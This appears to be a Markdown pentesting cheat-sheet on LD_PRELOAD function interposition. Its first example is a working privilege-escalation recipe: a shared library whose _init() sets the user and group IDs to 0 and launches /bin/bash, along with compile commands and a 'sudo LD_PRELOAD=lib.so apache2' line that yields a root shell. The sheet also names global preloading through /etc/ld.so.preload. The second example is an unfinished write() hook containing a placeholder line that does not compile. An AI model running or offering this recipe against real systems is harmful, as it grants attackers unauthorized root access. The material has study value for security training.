57 lines
1.3 KiB
Markdown
57 lines
1.3 KiB
Markdown
# LD_PRELOAD
|
|
|
|
* Preload libs and do interpositioning of functions.
|
|
|
|
* `man ld.so`
|
|
* `man dlsym`, `dlsym()` calls the original function
|
|
|
|
## Example 1
|
|
* Interpositioning of `_init()`
|
|
```sh
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
#include <stdlib.h>
|
|
|
|
void _init() {
|
|
unsetenv("LD_PRELOAD");
|
|
setgid(0);
|
|
setuid(0);
|
|
system("/bin/bash");
|
|
}
|
|
```
|
|
* `gcc -fPIC -shared -o lib.so lib.c -nostartfiles`
|
|
* `sudo LD_PRELOAD=lib.so apache2`
|
|
* `$ id`
|
|
|
|
|
|
## Example 2
|
|
* Interpositioning of `write()`
|
|
```C
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <dlfcn.h> // Contains _GNU_SOURCE from man dlsym
|
|
#include <string.h>
|
|
ssize_t write(int fildes, const void *buf, size_t nbytes)
|
|
{
|
|
ssize_t result;
|
|
do the thing;
|
|
return result;
|
|
}
|
|
```
|
|
* In case the symbol lookup returns an error libdl is linked
|
|
```sh
|
|
gcc -ldl interpositioning.c -fPIC -shared -D _GNU_SOURCE -o interpositioning.so -ldl`
|
|
```
|
|
## Preloading
|
|
* Dependent on the installation status of lib32 and/or lib64 and various packages the path of `LD_PRELOAD` has to be set differently. These may look as follows
|
|
* `LD_PRELOAD=./interpositioning.so <binary>`
|
|
or
|
|
* `export LD_PRELOAD=$(pwd)/interpositioning.so`
|
|
or
|
|
* Global preload via `/etc/ld.so.preload`
|
|
or
|
|
* Change the preload path via `LD_PRELOAD_PATH`
|
|
|
|
* Verify via `ldd <somebinary>`
|
|
|